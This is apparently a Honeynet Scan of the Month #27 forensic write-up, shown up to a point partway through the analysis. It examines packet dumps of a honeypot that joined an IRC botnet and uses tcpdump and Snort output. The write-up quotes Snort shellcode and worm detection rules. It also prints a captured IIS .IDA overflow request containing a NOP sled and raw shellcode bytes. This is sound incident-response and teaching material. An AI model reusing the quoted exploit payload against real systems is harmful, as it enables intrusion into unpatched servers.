HoneyNet's Scan of the Month Challenge #27.

Authors:


Ashley Thomas
Software Engineer
Cipher Trust
[email protected]
[email protected]

Vinay A. Mahadik
[email protected]
http://lilly.csoft.net/~vamahadik/

Beginning Questions:

1. What is IRC?
A. IRC [1] (stands for Internet Relay Chat) is an open protocol that provides for real-time multiple-user text-based teleconferencing over a computer network. Briefly, the architecture of an IRC network is as follows. A set of IRC servers forms the IRC network backbone. Each server is a networked computer that forms a central point to which IRC clients/users connect to in order to chat. Each client has a unique nickname for identification purposes. A channel is a named enumarated list/group of clients, potentially interested in conferencing on a topic of common interest. Clients/users can be regular (unpriviledged users) or channel operators. Operators enjoy special priviledges on the channel for administrative reasons. A channel is created by the first client who joins it, and is terminated when the last user leaves it. The first user becomes the channel operator by default, and can then promote other users on that channel to operator level. Over the IRC network-servers' spanning tree structure, an IRC channel emulates a multicast group of users.

2. What message is sent by an IRC client when it asks to join an IRC network?
A. The following is based on the IRC RFC 1459. The IRC client first makes a TCP connection with the IRC server (usually on port 6667). At this point the server could do some reverse client ident queries, client hostname lookup, client open-proxy scan etc and conditionally disconnect the client to minimise/discourage misuse of the IRC server. The client then needs to send a nick name and an user name like:

NICK billy
USER william localhost localhost :rgdiuggac

where 'billy' is the nickname and 'william' is the username of the client on the IRC network.

Then the server sends a 'welcome' or 'message of the day (MOTD)' banner to the client. The client usually then uses the JOIN IRC command to join an IRC channel like:

JOIN #foobar

where foobar is the channel name. If the channel doesn't exist, it will be created with the user as the operator of the channel.


3. What is a Botnet?
A. In the context of (malicious) IRC-botnets, a bot refers to a malicious automated script or code, that runs on a compromised host computer, and operates as a slave IRC-client trojan. A botnet is simply a set of such bots on an IRC network (or more precisely, an IRC channel). Bots are usually preconfigured with an IRC channel to use and usually a password as well. Each slave host/bot automatically joins the specified channel on IRC and awaits commands on that channel from the bot master, typically the channel operator - a human controlling the channel, and the bots connected to it.

[2] is an illustrative gallery of botnet activity on IRC. Some characteristic features of an IRC botnet channel are: 1. a large number of connected users with none/few chatting, 2. a channel mode of secret, invite-only, moderated, an operator-controlled topics ( +imst ), 3. all/most users are set to invisible ( +i ) mode, 4. other characteristics that can be easily detected on inspection, like well structured messages on the channel etc.

4. What are botnets commonly used for?
A. Botnet has both non-malicious and malicious uses. One the one hand, multiple bots can be used for monitoring/protecting an IRC channel. On the other hand, a malicious bot or
a set of malicious bots could also be used for co-ordinated attacks against a chosen (set of) victims. The latter constitutes a DDoS (Distributed Denial of Service) attack and botnets are commonly used by attackers for such purposes - flooding IRC channels, SYN/Ping-flooding chosen victims etc.

5. What TCP ports does IRC generally use?
A. IRC servers typically listen on TCP port 6667, although some popular servers listen on one or more ports from 666x-777x, 9000, 5555 etc as well. [3] gives a list of popular IRC servers and the ports they listen on.

6. What is a binary file and how is one created?
A. It was not clear what binary file this question refered to. A packet dump binary file is created by utilities such as tcpdump, ethereal (using the -w dump_file option) using libpcap's pcap_dump* functions (internally). Binary executable files for execution on different operating systems are created by compilers like gcc and have well defined file formats like ELF, PE etc. The linker/loaders know these file formats and which section/segment holds what information required to copy the executable image into memory and how to run the file.

7. What IRC servers did the honeypot communicate with?
A.

$ tcpdump -n -nn -r src_dump/sotm27 -w dump src host 172.16.134.191 and tcp and dst port 6667
$ tethereal -n -r src_dump/sotm27 -r dump | awk {'print $5'} | sort | uniq


Gives the following as the IRC servers the honeypot communicated with, and summaries of the session based on greps from tethereal -V (not shown for brevity):

209.126.161.29 (No response)
209.196.44.172 (irc5.aol.com, "rgdiuggac" nickname, joins "x......x" channel (. = non-printable characters used), Long IRC session)
217.199.175.10 (Server full, closed connection)
63.241.174.144 (irc4.aol.com, "eohisou" nickname already in use, connection timed out.)
66.33.65.58 (No response)

8. How many distinct hosts accessed the botnet associated with the server having IP address 209.196.44.172?
A.

$ tcpdump -n -nn -xX -r src_dump/sotm27 -w - tcp and src host 209.196.44.172 and src port 6667 | grep -a -i "join.*x[^a-zA-Z]\{7\}x" | wc -l
8105

So around 8105+1 (1 for honeypot itself) hosts connected to the botnet associated with the IP 209.196.44.172 and channel "x.......x"

9. Assuming that each botnet host has 56kbps network link, what is the aggregate badnwidth of the botnet?
A. 8106 x 56kbps (when used collectively against a common victim) = 443 Mbps approximately. This is fairly high bandwidth and can be used in a coordinated DDoS attack against an innocent victim.


Analysis:


Confirm MD5 sum of network dump file:

$ md5sum sotm27.gz
b4bfc10fa8346d89058a2e9507cfd9b9  sotm27.gz
$


Checking for fragmented IP packets:

$ tcpdump -n -r src_dump/sotm27 'ip[6:2] & 0x3fff != 0'
$

There are no fragmented IP packets in the log; so filters based on TCP flags etc will work for all packets.

Finding/confirming open ports on the honeypot:

For TCP ports, this is easy. We look for SYN-ACKs from the honeypot. The source ports of these SYN-ACKs are open (at least at that point of time).

$ tcpdump -n -nn -r sotm27 -w SynAcksFromHoneypot 'tcp[13] & 18 == 18' and src host 172.16.134.191
$ tethereal -n -r SynAcksFromHoneypot | awk {'print $7'} | sort -n | uniq
25
80
135
139
445
4899
$


The TCP port 4899 is not a standard port, looks suspicious and we mark it as lead #1. We will pursue it soon.

Note: At this point it is instructive to note that if the kernel had dropped the SYN-ACK packet from 4899 (due to heavy load etc), we wouldn't see it listed here at all. Missing SYN/SYN-ACKs for TCP sessions' logs is not rare, and a more reliable way of detecting open ports is to use 23 (ARSF) as the mask and match that with 18 (AS) or 16 (A) for TCP flags of packets from the honeypot. For source ports < 1024, this works fine. However, this will include all the ephemeral source ports (for outbound connections) as well and if ports like 4899 (not an ephimeral source port) are listed amongst those, we will tend to ignore them anyways. Intrusion detection is not an exact science; let's work with SYN-ACKs at this point. If we reach a dead-end, we'll review such assumptions again.

For UDP ports, this is tricky. Due to the absence of handshakes, UDP packets originating from the honeypot could either be responses to UDP requests from other hosts, or even UDP connections initiated by the honeypot itself. Fortunately for us, the only UDP ports remote hosts tried connecting to were ports 1434, 137 and 28431, of which 1433 and 28431 never responded and can be assumed closed (Since ICMP traffic was clearly not captured in the dump file, we can not see the ICMP Port-Unreachable errors from these).

$ tethereal -V -n -r src_dump/sotm27 udp and ip.src == 172.16.134.191 | grep "Source port" | awk {'print $3'} | sort -n | uniq
137
$


#
Open-UDP
Open-TCP
Default-Type
1.
137
-
Netbios Name Service
2.
-
25
SMTP
3.
-
80
Web
4.
-
135
RPC
5.
-
139
Netbios Session Service
6.
-
445
MS-SMB over TCP/IP
7.
-
4899
-Suspect-
8.
-




Finding outbound TCP/UDP connections initiated by the honeypot:

Fundamentally, since we control a honeypot, any outbound connections from it that are unintentional/deliberate, are suspect and potentially imply a compromise. Let's find the outbound TCP connections initiated by our honeypot.

$ tcpdump -n -nn -r sotm27 src host 172.16.134.191 and 'tcp[13] & 18 == 2' | less

We find outbound connections to ports 80 (Web), 6667 (IRC), and 31337 ('ElEET'). Let's mark these as leads #2, #3, and #4 respectively.

For outbound UDP connections, from above we know that all outbound UDP traffic had a source port of 137 and were thus, very likely, responses to UDP requests on that port. In other words, it strongly implies there were no outbound UDP connections initiated by the honeypot.

Running out of the box Snort 1.9.x on the network dump:

$ cat etc/snort.conf
var HOME_NET 172.16.134.191/32
var EXTERNAL_NET !$HOME_NET
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
var HTTP_SERVERS $HOME_NET
var SQL_SERVERS $HOME_NET
var TELNET_SERVERS $HOME_NET
var HTTP_PORTS 80
# var SHELLCODE_PORTS !HTTP_PORTS
var SHELLCODE_PORTS any
var ORACLE_PORTS 1521

# var AIM_SERVERS [64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]

var RULE_PATH ../rules

preprocessor frag2

preprocessor stream4: detect_scans, disable_evasion_alerts

# We can afford this for offline analysis.
preprocessor stream4_reassemble: both, ports all

# Only port 80 is open, and its IIS.
preprocessor http_decode: 80 unicode iis_alt_unicode double_encode iis_flip_slash full_whitespace

# preprocessor rpc_decode: 111 32771
# preprocessor bo: -nobrute

# Port 25 is open.
preprocessor telnet_decode 25

preprocessor conversation: allowed_ip_protocols all, timeout 60, max_conversations 32000

# Paranoid portscan detection
preprocessor portscan2: scanners_max 3200, targets_max 5000, target_limit 5, port_limit 5, timeout 60

include classification.config
include reference.config

include $RULE_PATH/bad-traffic.rules
include $RULE_PATH/exploit.rules
include $RULE_PATH/scan.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/tftp.rules

include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-php.rules

include $RULE_PATH/sql.rules
include $RULE_PATH/x11.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/oracle.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/snmp.rules

include $RULE_PATH/smtp.rules
include $RULE_PATH/imap.rules
include $RULE_PATH/pop3.rules
include $RULE_PATH/pop2.rules

include $RULE_PATH/nntp.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/shellcode.rules
#include $RULE_PATH/policy.rules
#include $RULE_PATH/porn.rules
include $RULE_PATH/info.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/virus.rules
#include $RULE_PATH/chat.rules
#include $RULE_PATH/multimedia.rules
#include $RULE_PATH/p2p.rules
#include $RULE_PATH/experimental.rules
#include $RULE_PATH/local.rules

$ ./snort -l log -c etc/snort.conf -A full -b -r src_dump/sotm27


<snipped>

$ grep "\[\*\*\]" log/alert | sort | uniq
[**] [1:1390:3] SHELLCODE x86 inc ebx NOOP [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 1 targets 6 ports in 0 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 1 targets 6 ports in 13 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 1 targets 6 ports in 30 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 6 targets 6 ports in 18 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 6 targets 6 ports in 24 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191: 6 targets 6 ports in 26 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 24.197.194.106: 1 targets 6 ports in 0 seconds [**]
[**] [1:2003:2] MS-SQL Worm propagation attempt [**]
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
$


So, Snort detected only a handful of potential attack attempts. Let's check each (sids 1390, 2003, 615 and the outbound scans from the honeypot) now. First, the Sid 1390, shellcode in requests to port 80.

$ grep "sid:1390" rules/*.rules
shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE x86 inc ebx NOOP"; content:"|43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43|"; classtype:shellcode-detect; sid:1390; rev:3;)


The following gives the source IP responsible for those attempts and the ports it attempted to break into.

$ grep -A 3 -B 0 "1:1390:3" log/alert | grep "\-> 172\.16\.134\.191" | sed 's/:/ /g' | awk {'print $1"\t"$5'} | sort | uniq
210.22.204.101  80


Let's call this source IP lead #5 .

For sid 2003, the rule/signature being tested was:

$ grep "sid:2003" rules/*.rules
sql.rules:alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL Worm propagation attempt"; content:"|04|"; depth:1; content:"|81 F1 03 01 04 9B 81 F1 0
1|"; content:"sock"; content:"send"; reference:bugtraq,5310; classtype:misc-attack; reference:bugtraq,5311; reference:url,vil.nai.com/vil/content/v_99992.ht
m; sid:2003; rev:2;)
$


Since we know that UDP port 1434 is closed, this by definition becomes a false positive. Let's ignore this (we could've disabled it as well, but we prefer false positives to false negatives, and work with non-optimal rule-sets for offline analysis).

Sid 615 has the following signature:

$ grep "sid:615" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 1080 (msg:"SCAN SOCKS Proxy attempt"; flags:S; reference:url,help.undernet.org/proxyscan/; classtype:attempted-recon; sid:615; rev:3;)
$


Although our TCP port 1080 is closed, we note that from the reference URL " http://help.undernet.org/proxyscan/ ", this would occur only if our honeypot connects to the IRC server on the externet IP address! The IRC server scans for open proxies in an attempt to reduce/discourage abuse, and Snort detects that scan. Let's look at the alert again:

$ grep -A 6 ":615:" log/alert
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/02-05:24:55.179508 0:E0:B6:5:CE:A -> 0:5:69:0:1:E2 type:0x800 len:0x3C
200.74.26.73:25590 -> 172.16.134.191:1080 TCP TTL:114 TOS:0x0 ID:34075 IpLen:20 DgmLen:40 DF
******S* Seq: 0x187C0000  Ack: 0x0  Win: 0x200  TcpLen: 20
[Xref => url help.undernet.org/proxyscan/]
$


If 200.74.26.73 indeed is an IRC server, and this indeed is a open-proxy scan, it means our honeypot made an unintended external connection to the IRC server. This is a sure sign of a compromise having occured sometime before. Like we mentioned before, for offline analysis, we prefer false positives to false negatives; this alert neatly justifies the importance of doing that. This lead correlates with the already marked lead #3.

Finally, we consider the outbound scan alerts from our honeypot. It can quickly be verified from log/scan.log that most of these are false positives from port 80 traffic. We already have leads from outbound connection attempts - leads 2, 3, 4, & 6. Also:

$ grep "src: 172\.16\.134\.191" log/scan.log | grep -v "port: 80 "
03/05-20:36:42.242231  TCP src: 172.16.134.191 dst: 209.126.161.29 sport: 1127 dport: 6667 tgts: 2 ports: 193 flags: ******S* event_id: 128
$


which is no new information.

Summarizing the leads so far, we have a suspicious TCP port 4899 open on the honeypot, outbound TCP connections to ports 80, 6667 and 31337 for some external hosts, source 210.22.204.101 attempting to breakinto port 80 of the honeypot through some buffer overflow shellcode attempts. Now lets look at each of these leads, also considering chronological order of events this time.

Analysing lead #1 & #5:

From lead #1, we had this suspicious TCP port 4899.

$ tethereal -n -r src_dump/sotm27 tcp.port == 4899 and ip.dst == 172.16.134.191 | grep "> 4899 " | awk {'print $3'} | sort | uniq
210.22.204.101


This is the source IP exchanging packets with the suspicious TCP port 4899 on the honeypot. We recall that the source IP from lead #5 matches! Let's track this source IP's activity:

$ tethereal -n -r src_dump/sotm27 ip.addr == 210.22.204.101

..
919 322204.748928 210.22.204.101 -> 172.16.134.191 SMB Negotiate Protocol Request
920 322204.753089 172.16.134.191 -> 210.22.204.101 SMB Negotiate Protocol Response
921 322204.978800 210.22.204.101 -> 172.16.134.191 SMB Session Setup AndX Request
..

The attacker has had a SMB session with the honeypot. Since the honeypot had a NULL password, the attacker would have an Administrative level access easily. We'll explore this session in depth later, within this section. Let's look at lead #5, the attackers connections on port 80:

..
1885 322294.518123 210.22.204.101 -> 172.16.134.191 TCP 2927 > 80 [SYN] Seq=2047881279 Ack=0 Win=64240 Len=0 MSS=1460
1886 322294.525407 172.16.134.191 -> 210.22.204.101 TCP 80 > 2927 [SYN, ACK] Seq=2342801565 Ack=2047881280 Win=17520 Len=0 MSS=1460
1887 322294.748215 210.22.204.101 -> 172.16.134.191 TCP 2927 > 80 [ACK] Seq=2047881280 Ack=2342801566 Win=64240 Len=0
1888 322294.759049 210.22.204.101 -> 172.16.134.191 HTTP GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC <break> CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ubf17%u77e4%u0000%u0000%u838b%u0094 <break> %u0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&\220\220\220\220\220\220\220\220\220\220  <break> \220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\t\220\220\220_\353\b\220\220\220\350\365\377\377\377\215o\360\215}-\220\220\220\213\367f\270H\0
063\311f\213\310\264\231\374\2542\304\252\342\372\024$\354\237\231\231e\252P(\271)\275k7_\336f\231q\224\235\231\231q\026\235\231\231q\327\233\231\231\020\03
4\332\234\231\231q\310\233\231\231q\275\232\231\231\020\034\336\234\231\231q'\230\231\231\020\034\326\234\231\231\022\034\336\234\231\231q\346\233\231\231\0
20\034\322\234\231\231q\307\231\231\231q\b\231\231\231\032a\231\355y\022\034\322\234\231\231\311f\f\224\237\231\231\022\034\336\234\231\231\311f\f\224\237\2
31\231\022\034\266\234\231\231\311f\f\037\234\231\231\022\034\242\234\231\231\311f\f\037\234\231\231!\231\231\231\231\311\022\034\326\234\231\231\311f\f\\23
4\231\231!\231\231\231\231\311f\fO\234\231\231Z\022\034\322\234\231\231\363\231\363\200\024\034\232\230\231\231\311\022\034\322\234\231\231\311f\f\232\237\2
31\231Z\224\223\316\360\367\367\355\330\354\355\366\330\355\355\370\372\362\271\317\253\251\224\223\224\223\361\t\231\231\231f\f&\234\231\231\022\034\266\23
4\231\231q_\231\231\231\032af\226\035/\231\231\231\032a\231\355\316\t\t\t\t\363\231\024\034\246\234\231\231\311\361\231\235\231\231\022\034\332\234\231\231\
311\022\034\266\234\231\231\311f\f/\234\231\231\032a\231\226\035\033\231\231\231\363\231\022\034\246\234\231\231\311\022\034\332\234\231\231\311\022\034\322
\234\231\231\311f\f\232\237\231\231\032af\355\375\t\t\t\tr\034\363\231\361\231\235\231\231\022\034\332\234\231\231\311\022\034\322\234\231\231\311f\f\221\23
7\231\231\032a\231\355\247\t\t\t\t\032af\355\254\t\t\t\t\252B\312\024\004\246\234\231\231\312\311\022\034\332\234\231\231\311\022\034\242\234\231\231\311f\f
5\234\231\231\032a\231\355\220\t\t\t\tp\262fff\252Y\321Z\252YZ\252B\312\024\004\275\233\231\231\312\252B\312\312\312\311f\f\v\234\231\231\032a\231\355\222\t
\t\t\t\022\034\275\233\231\231Z!ffffZ\231\231\231\231\022\034\332\234\231\231^\231\335\231\231\231\311f\f\376\234\231\231\022\004\332\234\231\231\022\034\25
2\234\231\231\020\332\331\020\332\245\022\034\256\234\231\231\020\332\241!\230\230\231\231\020\332\265\312\312\252Y\311\311\311\331\311\321\311\311\024\034\
354\237\231\231\311\252Y\311f\f\356\234\231\231\022\034\252\234\231\231\311f\f\037\234\231\231\022\034\256\234\231\231\311f\f\037\234\231\231\022\034\332\23
4\231\231\022\231Z\361\231\235\231\231\363\331f\f9\234\231\231Z\252Y\311\024\034w\233\231\231^\231\225\231\231\231\311\024\034\252\234\231\231\311\024\034\2
66\234\231\231\311f\f\305\234\231\231\252Y\311\024\034w\233\231\231\311\024\034\242\234\231\231\311\024\034\256\234\231\231\311f\f\305\234\231\231Z\231\231\
231\231\231\231\231\231\230\231\231\231\311\024\004\270\232\231\231^\232\211\231\231\231\312\024\004\333\235\231\231\312\311f\fe\234\231\231\022A\032a\231\3
01\345E\022ZZ\211\231\231\231\363\212\024\034\366\232\231\231\311f\f\275\237\231\231\024\034\366\232\231\231\311f\f\251\237\231\231\032a\231\355\273\t\t\t\t
\022\351\225\022ge4\032a\231\355\212\t\t\t\t\022\231\245\223\355i\245Y\355u\2455\355qZ\022n4\022\231Z\231\231\231\231\231\231\231\231\231\231\231\231\231\23
1\231\231\231\231\231\231\022\034\332\234\231\231\311\363\233f\f\200\237\231\231\363\231\363\230\363\233f\fp\234\231\231\032af\226\035\001\231\231\231\020\0
34\336\234\231\231\024\004\246\234\231\231^\232\230\231\231\231\363\235\312\363\235\361ff\231\231\311f\f\247\237\231\231\032a\231\354\351\t\t\t\t\377\022\03
4\366\237\231\231\377\020\034\335\235\231\231\022\034\350\237\231\231\020\034\337\235\231\231\032af\354\226\t\t\t\tq\263fff\020\034\337\235\231\231\022\034\
336\234\231\231\363\211\024\004\333\235\231\231\312\311f\fi\234\231\231\032a\231\354\272\t\t\t\t
1889 322294.769834 210.22.204.101 -> 172.16.134.191 HTTP Continuation
1890 322294.778957 172.16.134.191 -> 210.22.204.101 TCP 80 > 2927 [ACK] Seq=2342801566 Ack=2047883350 Win=17520 Len=0
1891 322295.575336 172.16.134.191 -> 210.22.204.101 TCP 80 > 2927 [RST] Seq=2342801566 Ack=2047883350 Win=0 Len=0
..

Note the "CCCCCCCC.." sled, this generates the 'false positive' with Snort's sid 1390, lead #5; false-positive because clearly the C's are used as filler bytes here. The exploit seems to correlate with [4] EEye's MS IIS Indexing Service Vulnerability Advisory . A false-negative we see here is that Snort failed to detect the \220 sled (or 0x90 sled) in the packet. Here's why:

$ grep "90 90 90 90" rules/shellcode.rules
alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:5;)
$


that is, Snort's string search function stopped at the 128th byte from the start of the TCP payload and missed the NO-OP sled that was present after it.

Further, the ACK, RST-ACK sequence from the server strongly implies that the IIS web-server process did indeed crash from the exploit attempt, and sent a RST due to this. Although, there seems to be no concrete research/white paper on this topic, some informal discussion about what different OSes respond with (ACK, FIN-ACK, RST-ACK sequences) on the wire when a server application crashes under different conditions can be found at [5], and [6]. For windows, then, the ACK, RST-ACK sequence, in general, means that the network end application crashed or exited without closing the socket.

..
1892 322296.744561 210.22.204.101 -> 172.16.134.191 TCP 3099 > 99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1893 322296.750552 172.16.134.191 -> 210.22.204.101 TCP 99 > 3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1894 322297.474719 210.22.204.101 -> 172.16.134.191 TCP 3099 > 99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1895 322297.475370 172.16.134.191 -> 210.22.204.101 TCP 99 > 3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1896 322298.197144 210.22.204.101 -> 172.16.134.191 TCP 3099 > 99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1897 322298.197780 172.16.134.191 -> 210.22.204.101 TCP 99 > 3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1898 322299.740272 210.22.204.101 -> 172.16.134.191 TCP 3298 > 80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1899 322299.741015 172.16.134.191 -> 210.22.204.101 TCP 80 > 3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1900 322300.390898 210.22.204.101 -> 172.16.134.191 TCP 3298 > 80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1901 322300.391579 172.16.134.191 -> 210.22.204.101 TCP 80 > 3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1902 322301.091455 210.22.204.101 -> 172.16.134.191 TCP 3298 > 80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1903 322301.092127 172.16.134.191 -> 210.22.204.101 TCP 80 > 3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1904 322301.341778 210.22.204.101 -> 172.16.134.191 TCP 3353 > 99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1905 322301.347897 172.16.134.191 -> 210.22.204.101 TCP 99 > 3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1906 322301.998103 210.22.204.101 -> 172.16.134.191 TCP 3353 > 99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1907 322301.999558 172.16.134.191 -> 210.22.204.101 TCP 99 > 3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1908 322302.698481 210.22.204.101 -> 172.16.134.191 TCP 3353 > 99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1909 322302.699997 172.16.134.191 -> 210.22.204.101 TCP 99 > 3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1910 322304.339951 210.22.204.101 -> 172.16.134.191 TCP 3556 > 80 [SYN] Seq=2081358007 Ack=0 Win=64240 Len=0 MSS=1460
1911 322304.411734 172.16.134.191 -> 210.22.204.101 TCP 80 > 3556 [SYN, ACK] Seq=2345286388 Ack=2081358008 Win=17520 Len=0 MSS=1460
1912 322304.634563 210.22.204.101 -> 172.16.134.191 TCP 3556 > 80 [ACK] Seq=2081358008 Ack=2345286389 Win=64240 Len=0
..

The port 80 on the honeypot starts accepting connections again after some 10 seconds. This is known behavior of IIS on Windows 2000, it auto-restarts after crashing. The attacker attempts to connect to port 99 whenever he/she manages to crash the IIS process on port 80. Clearly, the attacker is expecting a listener on TCP port 99 from the shellcode, if the exploit is successful. The attacker never (not shown here) finds the port 99 open, strongly implying that the penetration attempts on port 80 were unsuccessful. Let's mark lead #5 as a closed.

Let's get back to lead #1's port 4899 attempts, and the SMB session. We find that the first match for lead #1's port 4899 is:

..
1348 322250.478078 210.22.204.101 -> 172.16.134.191 TCP 3745 > 4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1349 322250.486473 172.16.134.191 -> 210.22.204.101 TCP 4899 > 3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
1350 322250.704362 210.22.204.101 -> 172.16.134.191 TCP 2927 > 445 [FIN, ACK] Seq=1846632006 Ack=2328092462 Win=63835 Len=0
1351 322250.705285 172.16.134.191 -> 210.22.204.101 TCP 445 > 2927 [FIN, ACK] Seq=2328092462 Ack=1846632007 Win=17477 Len=0
1352 322250.872701 210.22.204.101 -> 172.16.134.191 TCP 2927 > 445 [RST] Seq=1846632007 Ack=1402577632 Win=0 Len=0
1353 322251.184419 210.22.204.101 -> 172.16.134.191 TCP 3745 > 4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1354 322251.189447 172.16.134.191 -> 210.22.204.101 TCP 4899 > 3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
1355 322251.881602 210.22.204.101 -> 172.16.134.191 TCP 3745 > 4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1356 322251.887548 172.16.134.191 -> 210.22.204.101 TCP 4899 > 3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
..

The attacker attempted to connect to the port 4899, which was closed at this point. However, lead #1 was all about an open port 4899 right. We find this later:

..
2070 322575.207440 210.22.204.101 -> 172.16.134.191 TCP 2651 > 4899 [SYN] Seq=3031899699 Ack=0 Win=64240 Len=0 MSS=1460
2071 322575.212330 172.16.134.191 -> 210.22.204.101 TCP 4899 > 2651 [SYN, ACK] Seq=2413544311 Ack=3031899700 Win=17520 Len=0 MSS=1460
2072 322575.437769 210.22.204.101 -> 172.16.134.191 TCP 2651 > 4899 [ACK] Seq=3031899700 Ack=2413544312 Win=64240 Len=0
2073 322575.458416 210.22.204.101 -> 172.16.134.191 TCP 2651 > 4899 [PSH, ACK] Seq=3031899700 Ack=2413544312 Win=64240 Len=10
2074 322575.579622 172.16.134.191 -> 210.22.204.101 TCP 4899 > 2651 [ACK] Seq=2413544312 Ack=3031899710 Win=17510 Len=0
..
3081 322723.529180 210.22.204.101 -> 172.16.134.191 TCP 2773 > 4899 [PSH, ACK] Seq=3038331306 Ack=2414060075 Win=63634 Len=26
3082 322733.191434 210.22.204.101 -> 172.16.134.191 TCP 2773 > 4899 [PSH, ACK]
-EOF-
..

Here the attacker hit an open port 4899 and started exchanging (pushing data towards it) packets with it! Clearly, this strongly implies that the honeypot was compromised somewhere within this 225 second window of time.

As the following shows, the attacker started another SMB session during this window of time. Apart from the unsuccessful port 80 session, this is the only session the attacker is at during this window of time. Clearly, a closer inspection of this SMB session is in order. Let's first see the relevant snips and frame numbers from tethereal's one line summaries for this session. SMB, and DCE/RPC over SMB are fairly involved protocols and it is easy to digress into irrelevant information contained in the protocol information decoded by ethereal.

For SMB sessions, a good idea about what occured can be got from a simple 'grep " SMB " ' of the tethereal one line summaries. This removes the NBSS Session Messages, NBSS Continuation Messages, SYN/ACK/FIN/RSTs etc, and DCERPC messages. It should be noted that DCERPC (calling remote procedures on the honeypot) needs more attention especially after a 'Create AndX Request'. However, we need to look at DCERPCs' payloads to find what they did. Let's look at the remaining traffic (as grep-ed above) for now:

..

Negotiate SMB protocol parameters.
Here the SMB client is told the server uses USER mode Challenge-Response authentication.

1364 322253.692340 210.22.204.101 -> 172.16.134.191 SMB Negotiate Protocol Request
1365 322253.694132 172.16.134.191 -> 210.22.204.101 SMB Negotiate Protocol Response

Authenticate. The attacker could use either the NULL session ("":"") or login as Administrator ("Administrator:"") since the latters password is set null (can be known by bruteforcing prior to this session or with a wise first-guess). The client successfully authenticates as "Administrator" (this implies the attacker did indeed already know prior to this session that the password was null)

1367 322253.931020 210.22.204.101 -> 172.16.134.191 SMB Session Setup AndX Request
1368 322253.935814 172.16.134.191 -> 210.22.204.101 SMB Session Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
